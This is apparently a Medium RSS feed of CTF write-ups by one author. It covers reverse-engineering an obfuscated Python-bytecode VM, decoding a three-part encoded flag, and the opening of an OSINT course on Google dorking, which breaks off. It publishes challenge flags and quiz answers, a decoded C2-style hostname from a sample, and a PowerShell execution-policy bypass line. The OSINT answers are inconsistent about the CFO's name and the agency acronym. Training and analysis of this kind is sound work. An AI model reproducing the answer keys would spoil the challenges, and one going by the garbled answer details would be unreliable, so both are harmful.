untrusted data is not a general-purpose security boundary, and reconstructed objects should still be handled in an isolated analysis environment.</p><p>For this challenge, the safer approach was to inspect the code object and recover the required constants without executing the embedded program.</p><p>4. Stage Two: The Dormancy Engine</p><p>The decrypted payload revealed a miniature virtual machine.</p><p>Its instruction set included:</p><p>OP_XOR_KEY. = 1</p><p>OP_ADD_CONST = 2</p><p>OP_SUB_CONST = 3</p><p>OP_ROL. = 4</p><p>OP_ROR. = 5</p><p>OP_HALT. = 255</p><p>The program and its configuration were stored as byte sequences.</p><p>VM_PROGRAM = bytes.fromhex(</p><p>. “0100 0211 0403 0100 0307 “</p><p>. “0505 0100 0229 0401 ff00&quot;</p><p>)</p><p>The program consisted of opcode-operand pairs. Removing the halt instruction left nine operations to analyze.</p><p>The configuration data was:</p><p>VM_CONFIG = bytes.fromhex(</p><p>. “cdc4ff82d52b4a2c498d00757d3ccf5a”</p><p>. “7849a22949999d7bc6f64ebda59e8b1d”</p><p>. “921dc91e0af3b9305157a8f39a276747&quot;</p><p>. “ed9300252f15f3f4caf74402847eaf2017c544&quot;</p><p>)</p><p>The VM reused the same SHA-256-derived key from the container’s first stage.</p><p>However, understanding the opcode names was not enough. The actual handler implementations contained deliberate inconsistencies.</p><p>5. Three Traps Hidden in the VM</p><p>Trap 1: The opcode names were misleading</p><p>The operation names did not accurately describe what the handlers performed.</p><p>Opcode name	Actual behavior</p><p>OP_XOR_KEY	XOR data with the repeating key</p><p>OP_ADD_CONST	Subtract the operand</p><p>OP_SUB_CONST	Add the operand</p><p>OP_ROL	Rotate right</p><p>OP_ROR	Rotate left</p><p>OP_HALT	Stop processing</p><p>The arithmetic handlers were swapped, as were the rotation handlers.</p><p>For example, a handler named OP_ADD_CONST performed subtraction modulo 256:</p><p>[</p><p>b’ = (b-c)\bmod 256</p><p>]</p><p>Likewise, a rotation handler named OP_ROL invoked a right-rotation routine.</p><p>This is a simple but effective obfuscation technique. Anyone implementing the VM based solely on the constant names would reproduce the wrong behavior.</p><p>Lesson: In reverse engineering, implementation is evidence; naming is only a hint.</p><p>Trap 2: Instructions executed in reverse order</p><p>The second trap was more subtle.</p><p>The VM first collected its instruction pairs and then processed them using:</p><p>for op, operand in reversed(steps):</p><p>. …</p><p>Consequently, the operations were executed in reverse order rather than in the order in which they appeared in the bytecode.</p><p>The effective execution order was therefore:</p><ol><li>Rotate right by 1.</li><li>Subtract 0x29.</li><li>XOR with the repeating key.</li><li>Rotate left by 5.</li><li>Add 0x07.</li><li>XOR with the repeating key.</li><li>Rotate right by 3.</li><li>Subtract 0x11.</li><li>XOR with the repeating key.</li></ol><p>The halt instruction was excluded from this sequence.</p><p>This reversed execution order explained the challenge’s title: the hidden data only emerged when the apparent instruction sequence was interpreted in the opposite direction.</p><p>Trap 3: The key was reused</p><p>The virtual machine did not introduce a new key.</p><p>Instead, it received the same 32-byte SHA-256 digest derived from the seed field during the unpacking stage.</p><p>This connected both layers into a single decoding pipeline:</p><p>Repeated seed</p><p>. |</p><p>. v</p><p>SHA-256</p><p>. |</p><p>. v</p><p>32-byte XOR key</p><p>. |</p><p>. + – – – – – – – – – – +</p><p>. |. |</p><p>. v. v</p><p>Payload decryption. VM operations</p><p>. |. |</p><p>. v. v</p><p>Python code object. Final plaintext</p><p>The repeated key and reversible transformations made the VM possible to emulate without guessing unknown constants.</p><p>6. Recovering the Flag</p><p>After reconstructing the instruction semantics and applying the operations in reverse execution order, the VM configuration decoded to:</p><p>beacon.lordsudo.com|OPFALCON-7|r00t{s33d_n3v3r_sp0uts_st4ys_st4t1c}</p><p>The output contained three fields separated by pipe characters:</p><p>Field	Interpretation</p><p>beacon.lordsudo.com	Embedded hostname presented as a C2 indicator</p><p>OPFALCON-7	Campaign or operation identifier</p><p>r00t{s33d_n3v3r_sp0uts_st4ys_st4t1c}	Challenge flag</p><p>The hostname should be treated as an unverified indicator from the sample, not proof of a real command-and-control server. There was no need to resolve or contact it to solve the challenge.</p><p>Final flag</p><p>r00t{s33d_n3v3r_sp0uts_st4ys_st4t1c}</p><p>The flag’s message – seed never sprouts, stays static – fits the dormant-seed theme and the challenge’s emphasis on hidden data that only becomes visible after the correct transformations.</p><p>7. Reproducing the Analysis</p><p>The accompanying solver.py automates the analysis without executing the embedded bytecode.</p><p>The artifact collection includes:</p><p>File	Purpose</p><p>loader.dsk	Original challenge artifact</p><p>solver.py	Standalone analysis and decoding script</p><p>dis.txt	Disassembly notes</p><p>payload_dis.txt	Payload disassembly</p><p>vm_out.bin	Decoded stage-two output</p><p>The solver follows these steps:</p><ol><li>Parse the custom container header and validate the component boundaries.</li><li>Extract the repeated seed field.</li><li>Derive the 32-byte SHA-256 key.</li><li>Decrypt the payload using repeating-key XOR.</li><li>Inspect the serialized code object’s constants.</li><li>Recover the VM program and configuration.</li><li>Emulate the VM using the observed instruction semantics.</li><li>Extract the flag from the decoded output.</li></ol><p>Python 3.13 is recommended for compatibility with the sample’s code object.</p><p>To reproduce the analysis:</p><p>python solver.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*TPNlHmDpJMBaIBcBREntqA@2x.jpeg" /></figure><p>Flag: <strong>r00t{s33d_n3v3r_sp0uts_st4ys_st4t1c}</strong></p><p>The solver is designed to avoid executing the embedded code object. As with any reverse-engineering workflow, run analysis tools in an appropriately isolated environment and validate the parser against malformed inputs.</p><p>8. Lessons for Reverse Engineers and Defenders</p><p>This challenge demonstrates several techniques worth recognizing during malware analysis and CTFs.</p><ol><li>Never trust a file extension.</li></ol><p>A .dsk file may not be a disk image. Inspect magic bytes, offsets, length fields, and trailers before deciding what you are analyzing.</p><p>2. Recognize serialization formats.</p><p>Python marshal objects can reveal code structure, function names, constants, and other useful information. Version compatibility matters when interpreting bytecode.</p><p>3. Question fields that look cryptographic.</p><p>A field called a signature is not necessarily a digital signature. Here, the repeated 32-byte seed was hashed into an XOR key.</p><p>4. Read handlers, not labels.</p><p>Misleading opcode names are easy to implement incorrectly. Verify arithmetic, rotations, operand widths, and execution order against the actual handler code.</p><p>5. Treat obfuscation as a reversible transformation.</p><p>XOR, modular addition and subtraction, and bit rotations are reversible when their parameters and order are known. A custom VM can complicate analysis without providing strong cryptographic protection.</p><p>6. Prefer static analysis when possible.</p><p>The challenge could be solved by inspecting the serialized code object and emulating the VM. Executing an unknown payload was unnecessary.</p><p>7. Validate the final result.</p><p>A plausible-looking flag is not enough on its own. Check that the recovered plaintext has the expected structure and that the decoder follows the actual program semantics.</p><p>Conclusion</p><p>Activate the Dormancy was a compact demonstration of layered obfuscation.</p><p>What appeared to be a disk image turned out to be a custom container holding a Python code object. That object exposed an XOR-based unpacking routine, which revealed a second stage containing a miniature virtual machine. Reversed execution, swapped opcode handlers, and key reuse concealed the final plaintext.</p><p>The decisive step was not brute force. It was careful structural analysis: identify the container, reconstruct the key derivation, inspect the bytecode, verify the VM semantics, and emulate the transformations safely.</p><p>The biggest takeaway: Complex-looking obfuscation often becomes manageable once every layer is treated as a separate, testable problem.</p><p>⸻</p><p>Author: ABDULLAHI YUSUF aka 0daydeactive</p><p>Category: CTF · Reverse Engineering · Python Internals · Malware Analysis</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65a9ba8f8e26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Encoding Basics – Writeup]]></title>
            <link>https://medium.com/@0daydeactive/encoding-basics-writeup-8f5c0bc7b7f8?source=rss-5d8b9deeef4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f5c0bc7b7f8</guid>
            <dc:creator><![CDATA[ABDULLAHI YUSUF]]></dc:creator>
            <pubDate>Sun, 01 Nov 2026 07:12:51 GMT</pubDate>
            <atom:updated>2026-11-01T07:12:51.752Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Category: Crypto / Misc (Encoding)</strong></p><p><strong>Difficulty: Easy / Warm-up</strong></p><p><strong>Flag format: `Alpaca{…}`</strong></p><p><strong>Author</strong>: <strong>ABDULLAHI YUSUF</strong> aka <strong>0daydeactive</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*IZ_eziOmPtT6m7cE80uHGw@2x.jpeg" /></figure><p>0. Challenge Overview</p><p>First : download the file is: encoding-basics.tar.gz</p><p>&gt; “Let’s study encode techniques in CTF Crypto!”</p><p>We are given an archive containing two files:</p><p>```</p><p>encoding-basics/</p><p>├── <strong>chall.py.</strong> &lt;- the generator script</p><p>└── <strong>chall.txt. </strong>&lt;- the challenge data (three encoded values)</p><p>```</p><p>The generator splits the flag into “<strong>three chunks of 20 bytes and encodes each chunk with a different encoding</strong>” . Our job is to reverse all three encodings and glue the chunks back together.</p><p>– -</p><p><strong>1. Read the Generator Script</strong></p><p>`chall.py`:</p><p>```python</p><p>from Crypto.Util.number import *</p><p>import base64</p><p>import os</p><p>flag = os.getenv(“FLAG”, “DUMMYD{…}”).encode()</p><p>flag1 = flag[:20]</p><p>flag2 = flag[20:40]</p><p>flag3 = flag[40:]</p><p>print(f”long_value = {bytes_to_long(flag1)}”)</p><p>print(f’hex_string = “{flag2.hex()}”’)</p><p>print(f’base64_string = “{base64.b64encode(flag3).decode()}”’)</p><p>```</p><p>-<strong>&gt;Line-by-line analysis</strong></p><p>| Line | What happens? | How to reverse it ?|</p><p>| – – – | – – – – – – – | – – – – – – – – – -|</p><p>| `flag[:20]` → `bytes_to_long(…)` | First 20 bytes become one huge decimal integer | `long_to_bytes(n)` – convert the integer back to bytes |</p><p>| `flag[20:40]` → `.hex()` | Next 20 bytes become a lowercase hex string | `bytes.fromhex(s)` |</p><p>| `flag[40:]` → `base64.b64encode(…)` | Remaining bytes become base64 | `base64.b64decode(s)` |</p><p><strong>Critical observation</strong>: the split is a <strong>blind byte slice </strong>at positions 20 and 40. It does “<strong>not</strong>” respect word boundaries, so a word can be cut in half between two chunks (e.g. `v` + `4l` = `v4l`, and `cl3` + `4n` = `cl34n`). This means each decoded part will <strong>not </strong>be readable on its own – we must concatenate the raw bytes <strong>before</strong> interpreting the text.</p><p>– -</p><p><strong>2. The Challenge Data</strong></p><p>`chall.txt`:</p><p>```</p><p><strong>long_value = </strong>373502670300504551747111047082539140193958649718</p><p><strong>hex_string = </strong>“346c5f6833785f6630726d61745f31735f636c33&quot;</p><p><strong>base64_string = </strong>“NG5fYjY0X3A0ZGQxbmdfaXNfY29vbH0=”</p><p>```</p><p>Three values, three different encodings – matching the three branches in the script.</p><p>– -</p><p>3. Step 1 – Decode `long_value` (Big Integer → Bytes)</p><p>`bytes_to_long` interprets the byte string as a big-endian integer:</p><p>$$n = \sum_{i} b_i \cdot 256^{\,k-1-i}$$</p><p>To invert it, convert the integer to hexadecimal and read it “two hex digits at a time** (each pair = 1 byte = 1 ASCII character).</p><p>```</p><p>n = 373502670300504551747111047082539140193958649718</p><p>```</p><p>Convert to hex:</p><p>```</p><p>n = 0x416c706163617b6231675f316e74336765725f76</p><p>```</p><p>Now split into byte pairs:</p><p>| Hex | ASCII | Hex | ASCII | Hex | ASCII | Hex | ASCII |</p><p>| – – -| – – – -| – – -| – – – -| – – -| – – – -| – – -| – – – -|</p><p>| `41` | `A` | `6c` | `l` | `70` | `p` | `61` | `a` |</p><p>| `63` | `c` | `61` | `a` | `7b` | `{` | `62` | `b` |</p><p>| `31` | `1` | `67` | `g` | `5f` | `_` | `31` | `1` |</p><p>| `6e` | `n` | `74` | `t` | `33` | `3` | `67` | `g` |</p><p>| `65` | `e` | `72` | `r` | `5f` | `_` | `76` | `v` |</p><p>Result (part 1):</p><p>```</p><p>Alpaca{b1g_1nt3ger_v</p><p>```</p><p>Sanity check: exactly 20 characters, and it starts with the flag prefix `Alpaca{` – this is the beginning of the flag, which confirms we are on the right track.</p><p>– -</p><p>4. Step 2 – Decode `hex_string` (Hex → Bytes)</p><p>```</p><p>hex_string = “346c5f6833785f6630726d61745f31735f636c33&quot;</p><p>```</p><p>Again, take two hex digits per byte:</p><p>| Hex | ASCII | Hex | ASCII | Hex | ASCII | Hex | ASCII |</p><p>| – – -| – – – -| – – -| – – – -| – – -| – – – -| – – -| – – – -|</p><p>| `34` | `4` | `6c` | `l` | `5f` | `_` | `68` | `h` |</p><p>| `33` | `3` | `78` | `x` | `5f` | `_` | `66` | `f` |</p><p>| `30` | `0` | `72` | `r` | `6d` | `m` | `61` | `a` |</p><p>| `74` | `t` | `5f` | `_` | `31` | `1` | `73` | `s` |</p><p>| `5f` | `_` | `63` | `c` | `6c` | `l` | `33` | `3` |</p><p>Result (part 2):</p><p>```</p><p>4l_h3x_f0rmat_1s_cl3</p><p>```</p><p>✅ 20 characters. It looks like “…4l hex format is cl3…” – the leading `4` belongs to the previous chunk’s trailing `v` (`v` + `4l` = `v4l` = “val”), and the trailing `cl3` will be finished by the next chunk. Confirms the split cuts through words.</p><p>– -</p><p>5. Step 3 – Decode `base64_string` (Base64 → Bytes)</p><p>```</p><p>base64_string = “NG5fYjY0X3A0ZGQxbmdfaXNfY29vbH0=”</p><p>```</p><p>Base64 maps every **4 characters → 3 bytes**. The trailing `=` padding tells us the final group only carries 2 bytes, so the decoded length is:</p><p>$$\frac{32}{4} \times 3 – 1 = 23 \text{ bytes}$$</p><p>This matches `flag[40:]` being the “rest of the flag” (23 bytes here, since the flag is 63 bytes long).</p><p>Decoding in 4-character blocks:</p><p>| Base64 block | Decoded |</p><p>| – – – – – – – | – – – – -|</p><p>| `NG5f` | `4n_` |</p><p>| `YjY0` | `b64` |</p><p>| `X3A0` | `_p4` |</p><p>| `ZGQx` | `dd1` |</p><p>| `bmdf` | `ng_` |</p><p>| `aXNf` | `is_` |</p><p>| `Y29v` | `coo` |</p><p>| `bH0=` | `l}` |</p><p>Result (part 3):</p><p>```</p><p>4n_b64_p4dd1ng_is_cool}</p><p>```</p><p>23 characters, ends with `}` – this is the tail of the flag. Note `p4dd1ng` = “padding”, a nice hint about the `=` we just removed.</p><p>– -</p><p>6. Step 4 – Concatenate (in original order)</p><p>The script split the flag in order, so we join the parts **in the same order**:</p><p>```</p><p>part1: Alpaca{b1g_1nt3ger_v</p><p>part2: 4l_h3x_f0rmat_1s_cl3</p><p>part3: 4n_b64_p4dd1ng_is_cool}</p><p>– – – – – – – – – – – – – – – – – – – – – – – – – – – –</p><p>flag: Alpaca{b1g_1nt3ger_v4l_h3x_f0rmat_1s_cl34n_b64_p4dd1ng_is_cool}</p><p>```</p><p>Read it back as English:</p><p>&gt; Alpaca{b1g_1nt3ger_v4l_h3x_f0rmat_1s_cl34n_b64_p4dd1ng_is_cool}</p><p>&gt; → “big integer, val, hex format is clean, b64 padding is cool”</p><p>The words only become readable **after** concatenation – `v`+`4l` = `v4l` (val) and `cl3`+`4n` = `cl34n` (clean). This is the trap of the challenge: don’t try to decode each chunk into readable text independently.</p><p>– -</p><p>7. 🚩 Flag</p><p>```</p><p>Alpaca{b1g_1nt3ger_v4l_h3x_f0rmat_1s_cl34n_b64_p4dd1ng_is_cool}</p><p>```</p><p>– -</p><p>8. Verification (re-encode the flag)</p><p>To be 100% sure, feed the flag back into the generator logic and check the three outputs match `chall.txt`:</p><p>| Check | Re-encoded value | Matches `chall.txt`? |</p><p>| – – – -| – – – – – – – – – | – – – – – – – – – – – |</p><p>| `bytes_to_long(flag[:20])` | `373502670300504551747111047082539140193958649718` | ✅ |</p><p>| `flag[20:40].hex()` | `346c5f6833785f6630726d61745f31735f636c33` | ✅ |</p><p>| `base64.b64encode(flag[40:])` | `NG5fYjY0X3A0ZGQxbmdfaXNfY29vbH0=` | ✅ |</p><p>Round-trip is exact, so the flag is correct.</p><p>– -</p><p>9. Automated Solver</p><p>– &gt;Python (`solve.py`)</p><p>```python</p><p>import base64</p><p>from Crypto.Util.number import long_to_bytes</p><p>long_value. = 373502670300504551747111047082539140193958649718</p><p>hex_string. = “346c5f6833785f6630726d61745f31735f636c33&quot;</p><p>base64_string = “NG5fYjY0X3A0ZGQxbmdfaXNfY29vbH0=”</p><p>part1 = long_to_bytes(long_value) # big int -&gt; bytes</p><p>part2 = bytes.fromhex(hex_string) # hex. -&gt; bytes</p><p>part3 = base64.b64decode(base64_string)# base64. -&gt; bytes</p><p>print((part1 + part2 + part3).decode())</p><p>```</p><p>Run:</p><p>```bash</p><p>pip install pycryptodome</p><p>python solve.py</p><p>```</p><p>Output:</p><p>```</p><p>Alpaca{b1g_1nt3ger_v4l_h3x_f0rmat_1s_cl34n_b64_p4dd1ng_is_cool}</p><p>```</p><p>&gt; `long_to_bytes` is just `n.to_bytes((n.bit_length()+7)//8, “big”)` – no dependency needed if you prefer plain Python:</p><p>&gt; ```python</p><p>&gt; part1 = long_value.to_bytes((long_value.bit_length() + 7) // 8, “big”)</p><p>&gt; ```</p><p>– &gt;PowerShell (`solve.ps1`) – no dependencies</p><p>Included as `solve.ps1` for machines without Python:</p><p>```powershell</p><p>powershell -ExecutionPolicy Bypass -File .\solve.ps1</p><p>```</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*_ivYi1-rfJr6IAeAnWYAgQ@2x.jpeg" /></figure><p>It uses `[System.Numerics.BigInteger]` for the big-int step, manual hex-pair parsing for part 2, and `[Convert]::FromBase64String` for part 3.</p><p>– &gt; One-liner (CyberChef / shell)</p><p>In CyberChef, chain these operations in order and paste each value in turn:</p><ol><li>`From Base` (Base 10) → `To Hex` → `From Hex` (for `long_value`)</li><li>2. `From Hex` (for `hex_string`)</li><li>3. `From Base64` (for `base64_string`)</li></ol><p>Then concatenate the three outputs.</p><p>– -</p><p>-&gt; 10. Key Takeaways</p><ol><li>Encoding ≠ encryption. All three are reversible, lossless transformations with no key. Recognising the shape of the data does 90% of the work:</li><li>. – A very long decimal number of ~48 digits → almost certainly `bytes_to_long` / RSA-style big integer.</li><li>. – Only `[0–9a-f]`, even length → hex.</li><li>. – Mixed case + digits + `+` `/` and `=` padding → base64.</li><li>2. Read the generator, not just the output.** `chall.py` tells you the exact inverse operations and the exact slice boundaries (20 / 20 / rest).</li><li>3. Slice boundaries can cut words.** Decode every chunk to raw bytes, concatenate first, interpret text last. Trying to read partial chunks as words leads to confusion.</li><li>4. Always verify by re-encoding.** Re-running the generator logic on your candidate flag proves correctness without needing to submit anywhere.</li><li>5. Common CTF encodings worth memorising: base64, base32, base16/hex, base85/ascii85, binary, decimal, ROT13/Caesar, URL-encoding, Morse, and `bytes_to_long` for crypto challenges.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f5c0bc7b7f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINT -Level 1]]></title>
            <link>https://medium.com/@0daydeactive/osint-level-1-20177c0b2750?source=rss-5d8b9deeef4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/20177c0b2750</guid>
            <dc:creator><![CDATA[ABDULLAHI YUSUF]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 12:45:26 GMT</pubDate>
            <atom:updated>2025-11-14T16:08:13.978Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>OSINT is a 3-level series that introduces Open-Source Intelligence (OSINT). It covers data collection, social media analysis, and investigative techniques, showing how publicly available information is used in cybersecurity and intelligence.</blockquote><p><strong>Author:</strong> <strong>ABDULLAHI YUSUF </strong>Also known as <strong>0daydeactice</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*bcVtx3WThJIxosCCxZVpHQ@2x.jpeg" /></figure><blockquote><strong>Task 1 Prologue</strong></blockquote><h4>Welcome to the fascinating world of open-source intelligence. This course is designed to develop your skills from a total novice to an advanced investigator, guiding you step-by-step and level-by-level.</h4><p>Each level becomes more challenging, requiring the improvement of your search tactics, development of your analytical skills, and adoption of new investigative techniques. To make this more engaging, I will be providing you with CTF-style tasks at the end of each module!</p><h4>📌 Course Structure</h4><p>To navigate this journey, the course is structured into three ascending stages, each building upon the previous:</p><h4>🛠 Level 1 – Foundations (Beginner)</h4><p>💡 The purpose of level 1 is to present basic capabilities for the collection and analysis of open-source information.</p><h4>🔹 You will learn:</h4><p>✅ Google Dorking techniques to find hidden data on the web</p><p>✅ How to retrieve metadata from images and documents</p><p>✅ How to scrape social media footprints</p><p>✅ Using simple OSINT tools</p><h4>🛠 Level 2 – Investigations (Intermediate)</h4><p>◀️ The overall objective of level 2 is to use your OSINT skills during real-life investigative situations that require thorough evaluation.</p><h4>🔹 You will learn:</h4><p>✅ How to document your findings properly</p><p>✅ How to analyze data/information collected into reportable intelligence</p><p>✅ Provenance of open-source intelligence, including verification and cross-referencing</p><p>✅ How to run structured investigations</p><h4>🛠 Level 3 – Advanced Techniques (Expert)</h4><p>💡 Unlike levels 1 and 2, level 3 is targeted towards anyone interested in high-level OSINT methodologies applied to cybersecurity, forensics, and intelligence domains.</p><h4>🔹 You will learn:</h4><p>✅ OSINT tools for geolocation techniques</p><p>✅ Geospatial Intelligence (GEOINT)</p><p>✅ Personally Identifiable Behavior (PIB) &amp; Operation Security (OPSec)</p><p>✅ The Berkeley Protocol</p><h4>📌 <strong>What to Expect in Level 1</strong></h4><blockquote><strong>This introductory level offers five hands-on tasks aimed at building the foundation of your OSINT skills:</strong></blockquote><p>1️⃣ <strong>Google Dorking </strong>– Use advanced search queries to uncover hidden information.</p><p>2️⃣ <strong>Intro to OSINT</strong> – Explore the fundamentals of OSINT investigations.</p><p>3️⃣ <strong>Metadata Extraction</strong> – Dig into files and images for data hidden in plain sight.</p><p>4️⃣ <strong>The Footprint</strong> – Detect user handles and tracks.</p><p>5️⃣ <strong>OSINT Quick Quiz</strong> – Test what you have learned!</p><p>Each challenge will dive into a core OSINT technique, offering a practical exercise to apply what you’ve learned!</p><p>🚀 Your journey begins now. Let’s dive in.</p><blockquote><strong>Task 2 Google Dorking Basics</strong></blockquote><p>Let’s begin learning!</p><p>This task will introduce you to Google Dorking and educate you on how to locate publicly available data ethically and apply your knowledge in a real-world scenario.</p><h4>What is Google Dorking?</h4><p><strong>Google Dorking (Otherwise known as Google Hacking)</strong> is a search technique that uses advanced search operators to refine Google search results. It allows investigators, cybersecurity professionals, and researchers to uncover publicly available, but hard-to-find, data/information.</p><p>Many websites store PDFs, Excel Sheets, admin panels, and reports online. However, these files are not always linked on their main pages. Google automatically indexes many of these files, making them searchable if you know how to look for them.</p><p>On an important note, Google Dorking is a powerful tool that must be used ethically. It is legal when searching for publicly available data. On the other hand, using it to access restricted or unauthorized content violates the Terms of Service (ToS) and could be illegal.</p><p>Let’s go over some of the basic search operators:</p><p><strong>site: </strong>– Used to limit results to a specific website.</p><p><strong>inurl: </strong>– Used to find pages with a specific word in the URL.</p><p><strong>intitle: </strong>– Utilized for searches for keywords in the page title.</p><p><strong>intext:</strong> – Utilized to search for a keyword within the webpage content itself.</p><p><strong>filetype: </strong>– Used to find a specific filetype(s) like DOCs, PDFs, XLSX, etc.</p><p>To refine your search results even more, we use specific key terms which include:</p><p><strong>OR</strong> – Used to search for either of the words (Example.com OR Examples.com).</p><p><strong>AND</strong> – Used to make sure that both (or more) words must be present (Alice AND Bob).</p><p><strong>(-) The Minus Sign</strong> – Utilized to exclude word(s) from the results (Example.com -Press-release)</p><p>Let us take a look at this example task:</p><p><strong>Here is an example scenario:</strong></p><h4>“A major financial watchdog agency, the Consumer Financial Protection Bureau (CFPB), publishes annual financial reports detailing government expenditures and budgets. These reports are meant for public access, but they aren’t always easy to find. A whistleblower has informed us that the CFPB’s Financial Report for FY 2024 contains critical financial data that could affect upcoming government policies. However, for reasons unknown, the agency has not linked this document directly on its main website. It’s out there but hidden. Your job is to locate it using Google Dorking. We believe the document is still indexed by Google but buried within the agency’s digital archives.”</h4><p>Now that we know this, let’s handle this case!</p><p>Since we know it is a government entity, we know that the site uses a “.gov” extension and is released in a PDF.</p><p>Let’s try inputting site: .gov filetype: PDF in the search bar!</p><p>Hmm, it seems that we are getting .gov-only sites and the file types are indeed in PDF. However, we could not find the required document the reporter is looking for. We should refine our search to be even more specific!</p><p>Let’s try inputting site: .gov filetype: PDF “financial report” in the search bar instead!</p><p>Would you look at that? We found it! This is the financial report of the Consumer Financial Protection Bureau (CFBP) 2024.</p><p>Now, use the information that we have found to answer the questions below!</p><p>Use the search (site: .gov filetype: pdf financial report intext: CFBP 2024) for extra assistance!</p><h4><strong>Answer the questions below:</strong></h4><blockquote>What is the name of the Chief Financial Officer of the CFPB as mentioned in the PDF?</blockquote><h4>- Janfar Gueye</h4><blockquote>What was the Total Fund Balance with Treasury in 2024?</blockquote><h4>- 25,068,469</h4><blockquote>What is the duration of the CFPB Supervisor Development Seminar?</blockquote><h4>3 days</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*b7tTEG1_kCD6KibfBfYQRw@2x.jpeg" /><figcaption>So now , we found the financial report of the – <a href="http://file.consumerfinance.gov/">file.consumerfinance.gov</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*SNOBAiHiRjeQahb9WUYn9g@2x.jpeg" /><figcaption>Name of Chief Financial Officer of CCPB <strong>Jafnar Gueye</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*ddQeSGe9mux7SriNqowv6g@2x.jpeg" /><figcaption>Fund Balance with Treasury 25068469</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*JYZe92O5iS0gZtOot3qUjA@2x.jpeg" /><figcaption>Duration of CFPB Supervisor Development Seminar is 3 days</figcaption></figure><blockquote><strong>Task 3 Introduction to OSINT</strong></blockquote><h4>Your last task required you to use Google Dorking to track down a missing government report; That was just the beginning.</h4><h4>The real world is filled with information, some hidden in plain sight while others are buried within digital trails. Open-source intelligence (OSINT) is the skill of gathering, analyzing, and using publicly available data to solve investigations, uncover hidden truths, and track down individuals or organizations.</h4><p><strong>So, what is OSINT?</strong></p><p><strong>OSINT (Open-Source Intelligence) </strong>refers to the collection and analysis of publicly available information to generate actionable insights. In the last exercise, we used a portion of OSINT; we utilized the usage of search engines to find a specific PDF file that relates to the scenario created for the sake of this training. So, what does OSINT consist of?</p><p><strong>OSINT consists of:</strong></p><ol><li>Websites &amp; Search Engines (Google, Bing, DuckDuckGo, etc.)</li><li>2. Social Media Platforms (Twitter, LinkedIn, Facebook, etc.)</li></ol><p>3. Government Databases (FOIA records, court documents, etc.)</p><p>4. Domain &amp; IP Lookup Tools (Whois, Shodan, etc.)</p><p>5. Public Forums &amp; Dark Web Resources and more!</p><p><strong>Who Uses OSINT?</strong></p><ol><li>Cybersecurity Professionals use OSINT to assess digital footprints and security risks. Think of areas in cybersecurity like Threat Intelligence and Threat Hunting.</li></ol><p>2. Law Enforcement &amp; Investigators use OSINT to track criminals and locate missing persons.</p><p>3. Journalists &amp; Researchers use OSINT to verify facts and expose misinformation.</p><p>4. Hackers, both ethical and unethical, &amp; Threat Actors use OSINT to gather intelligence.</p><p>As a reminder, OSINT is powerful, but it must be used responsibly. Accessing publicly available data is legal, but attempting to bypass security measures or extract private information without consent crosses ethical and legal boundaries which makes us no different from the threat actors we fight.</p><p><strong>OSINT-Related Organizations:</strong></p><p>I would like to take the opportunity to bring to your attention some organizations that are utilizing OSINT and strive to make a difference globally! While I can’t name every organization, I would like to name some who I have heard about and/or volunteered/worked with.</p><p>Trace Labs: <a href="https://www.tracelabs.org/">https://www.tracelabs.org/</a></p><p>Kase Scenarios: <a href="https://kasescenarios.com/">https://kasescenarios.com/</a></p><p>OSMOSIS Institute: <a href="https://osmosisinstitute.org/">https://osmosisinstitute.org/</a></p><p>NCPTF: <a href="https://ncptf.org/">https://ncptf.org/</a></p><p>ClickSafe Intelligence: <a href="https://clicksafeintelligence.com/">https://clicksafeintelligence.com/</a></p><p>And the list goes on and on! For the investigators and professionals in this field, thank you from the bottom of our hearts!</p><p>Now, I leave you with your new task!</p><h4>“Intel Corporation has recently appointed Lip-Bu Tan as its new Chief Executive Officer (CEO). Investors and analysts are monitoring this change closely, and your task is to verify key details of his appointment using OSINT techniques. Our mission is to use advanced Google search operators to uncover specific information about Lip-Bu Tan’s appointment, previous role &amp; board tenure”</h4><p>NOTE: This challenge follows legal and ethical OSINT practices. All information is publicly available through official company websites, press releases, and reputable news sources.</p><p>🚨 DO NOT attempt to access private, restricted, or sensitive data. Stick to publicly available sources.</p><p>If you are having difficulty, refer back to the previous task!</p><blockquote>Answer the questions below</blockquote><blockquote>When was Lip-Bu Tan named the new Chief Executive Officer (CEO) of Intel Corporation?</blockquote><h4>March 18, 2025</h4><blockquote>Where did Lip-Bu Tan work before joining Intel Corporation?</blockquote><h4>Cadence Design Systems</h4><blockquote>When was Lip-Bu Tan’s board tenure?</blockquote><h4>2022–2024</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*ZxWkcP1uSSKLZkK0ApOj1Q@2x.jpeg" /><figcaption>Use google hacking tips and get ans is march 18, 2025</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*Hezq2Aeqa3xhgnt1qY3vaQ@2x.jpeg" /><figcaption>Use google hacking tips and get ans is Cadence Design Systems</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*vHrmrpm4Q2mQLzEXYOlTmw@2x.jpeg" /><figcaption>Use google hacking and get the ans is 2022–2024 as you can see above.</figcaption></figure><blockquote><strong>Task 4 Metadata Extraction</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/237/1*Qft405fJKpKZw2yVU2lIXw@2x.jpeg" /><figcaption>Download this image and then do analysis</figcaption></figure><p>Now that you are used to using advanced search queries, it is time to learn something new!</p><p>As an investigator, you will deal with a massive data load on a daily/weekly/monthly/yearly basis. Data can range 